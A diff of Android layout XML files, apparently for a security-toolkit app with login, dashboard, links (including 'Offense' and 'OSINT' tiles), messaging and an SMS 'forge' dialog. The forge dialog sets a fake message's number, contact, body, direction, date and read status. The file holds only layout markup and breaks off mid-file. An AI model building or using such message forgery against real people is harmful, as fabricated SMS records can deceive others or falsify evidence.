<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_username"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Password -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_password"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Password"
app:endIconMode="password_toggle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_username">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="textPassword"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Port (smaller, below password) -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_port"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="120dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
android:hint="Port"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_password">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_port"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="number"
android:text="8181"
android:textColor="@color/text_primary" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Auto-detect button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_detect"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTO-DETECT"
android:textColor="@color/primary"
app:layout_constraintBottom_toBottomOf="@id/layout_port"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="@id/layout_port" />
<!-- Login button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:text="LOGIN"
android:textSize="16sp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_port" />
<!-- Status message -->
<TextView
android:id="@+id/login_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:gravity="center"
android:textColor="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/btn_login" />
<!-- Skip/offline button at bottom -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_skip"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="SKIP (OFFLINE MODE)"
android:textColor="@color/text_muted"
android:textSize="12sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background">
<androidx.fragment.app.FragmentContainerView
android:id="@+id/nav_host_fragment"
android:name="androidx.navigation.fragment.NavHostFragment"
android:layout_width="0dp"
android:layout_height="0dp"
app:defaultNavHost="true"
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:navGraph="@navigation/nav_graph" />
<com.google.android.material.bottomnavigation.BottomNavigationView
android:id="@+id/bottom_nav"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:background="@color/surface"
app:itemIconTint="@color/nav_item_color"
app:itemTextColor="@color/nav_item_color"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:menu="@menu/bottom_nav" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,203 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="@color/surface">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="20dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_dialog_title"
android:textColor="@color/terminal_green"
android:textSize="18sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Phone number -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_phone_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_address"
android:layout_width="match_parent"
android:layout_height="44dp"
android:hint="@string/forge_phone_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="phone"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true"
android:layout_marginBottom="12dp" />
<!-- Contact name (optional) -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_name_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_contact_name"
android:layout_width="match_parent"
android:layout_height="44dp"
android:hint="@string/forge_name_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textPersonName"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true"
android:layout_marginBottom="12dp" />
<!-- Message body -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_body_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_body"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="@string/forge_body_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textMultiLine"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="8dp"
android:minLines="3"
android:maxLines="8"
android:layout_marginBottom="12dp" />
<!-- Direction toggle (Sent / Received) -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_direction_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="12dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_type_received"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_received"
android:textSize="12sp"
style="@style/Widget.Material3.Button"
android:tag="selected" />
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_type_sent"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_sent"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton" />
</LinearLayout>
<!-- Date / Time -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_date_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="12dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_pick_date"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_pick_date"
android:textSize="12sp"
style="@style/Widget.Material3.Button.TonalButton"
android:tag="now" />
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_pick_time"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_pick_time"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
android:tag="now" />
</LinearLayout>
<!-- Read status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<android.widget.CheckBox
android:id="@+id/forge_read_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="true" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_mark_read"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,225 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/dashboard_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Discovery Section -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_discovery"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/discovery_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/discovery_status_text"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/discovery_idle"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:textSize="14sp" />
</LinearLayout>
<TextView
android:id="@+id/discovery_method_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/discovery_methods"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_discover"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/scan_network"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Connection Status -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connection Status"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Privilege -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privilege: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- Server -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<View
android:id="@+id/wg_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/wg_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/wg_checking"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Output Log -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp">
<TextView
android:id="@+id/output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:minHeight="80dp"
android:padding="12dp"
android:text="@string/ready"
android:textColor="@color/terminal_green_dim"
android:fontFamily="monospace"
android:textSize="12sp"
android:scrollbars="vertical" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,284 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/links_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_url_label"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_url_placeholder"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="16dp" />
<!-- Row 1: Dashboard, WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_dashboard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_dashboard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireguard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireguard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 2: Shield, Hardware -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_shield"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_shield"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_hardware"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_hardware"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 3: Wireshark, OSINT -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireshark"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireshark"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_osint"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_osint"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 4: Defense, Offense -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_defense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_defense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_offense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_offense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 5: Settings (single, full width) -->
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_settings"
android:layout_width="match_parent"
android:layout_height="100dp"
android:layout_marginBottom="8dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_settings"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,340 @@
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background">
<!-- ═══ Conversation List View ═══ -->
<LinearLayout
android:id="@+id/conversation_list_container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:visibility="visible">
<!-- Toolbar -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="@color/surface">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/messaging_title"
android:textColor="@color/terminal_green"
android:textSize="22sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<!-- Shizuku status dot -->
<View
android:id="@+id/shizuku_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="12dp" />
<!-- Search button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search"
android:layout_width="40dp"
android:layout_height="40dp"
android:text="?"
android:textSize="16sp"
android:textColor="@color/terminal_green"
android:insetTop="0dp"
android:insetBottom="0dp"
android:minWidth="40dp"
android:padding="0dp"
style="@style/Widget.Material3.Button.TextButton"
android:layout_marginEnd="4dp" />
<!-- Default SMS toggle -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_default_sms"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_become_default"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim"
android:layout_marginEnd="4dp" />
<!-- Tools menu -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_tools"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_tools"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Search bar (hidden by default) -->
<LinearLayout
android:id="@+id/search_bar"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:padding="8dp"
android:background="@color/surface_dark"
android:visibility="gone">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_search"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:hint="@string/messaging_search_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="text"
android:background="@color/surface"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search_go"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="GO"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search_close"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="X"
android:textSize="11sp"
android:layout_marginStart="4dp"
style="@style/Widget.Material3.Button.TextButton" />
</LinearLayout>
<!-- Conversation RecyclerView -->
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/recycler_conversations"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:clipToPadding="false"
android:padding="4dp" />
<!-- Empty state -->
<TextView
android:id="@+id/empty_state"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:gravity="center"
android:text="@string/messaging_empty"
android:textColor="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:visibility="gone" />
<!-- FAB for new message -->
<com.google.android.material.floatingactionbutton.FloatingActionButton
android:id="@+id/fab_new_message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="bottom|end"
android:layout_margin="16dp"
android:contentDescription="@string/messaging_new_message"
app:backgroundTint="@color/terminal_green"
app:tint="@color/background" />
</LinearLayout>
<!-- ═══ Message Thread View ═══ -->
<LinearLayout
android:id="@+id/thread_view_container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:visibility="gone">
<!-- Thread header -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="@color/surface">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_back"
android:layout_width="40dp"
android:layout_height="40dp"
android:text="&lt;"
android:textSize="18sp"
android:textColor="@color/terminal_green"
android:insetTop="0dp"
android:insetBottom="0dp"
android:minWidth="40dp"
android:padding="0dp"
style="@style/Widget.Material3.Button.TextButton"
android:layout_marginEnd="8dp" />
<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:orientation="vertical">
<TextView
android:id="@+id/thread_contact_name"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:singleLine="true" />
<TextView
android:id="@+id/thread_address"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:singleLine="true" />
</LinearLayout>
<!-- Thread tools -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_thread_export"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_export"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Messages RecyclerView -->
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/recycler_messages"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:clipToPadding="false"
android:padding="8dp" />
<!-- Message input bar -->
<LinearLayout
android:id="@+id/message_input_bar"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="8dp"
android:background="@color/surface">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_message"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:hint="@string/messaging_input_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textMultiLine"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="8dp"
android:maxLines="4"
android:minHeight="40dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_send"
android:layout_width="wrap_content"
android:layout_height="40dp"
android:text="@string/messaging_send"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
</LinearLayout>
<!-- ═══ Output Log (bottom overlay, hidden by default) ═══ -->
<com.google.android.material.card.MaterialCardView
android:id="@+id/output_log_card"
android:layout_width="match_parent"
android:layout_height="200dp"
android:layout_gravity="bottom"
android:layout_margin="8dp"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp"
android:visibility="gone">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="8dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Output:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_close_log"
android:layout_width="wrap_content"
android:layout_height="30dp"
android:text="X"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TextButton" />
</LinearLayout>
<ScrollView
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1">
<TextView
android:id="@+id/messaging_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp" />
</ScrollView>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</FrameLayout>

View File

@@ -0,0 +1,655 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
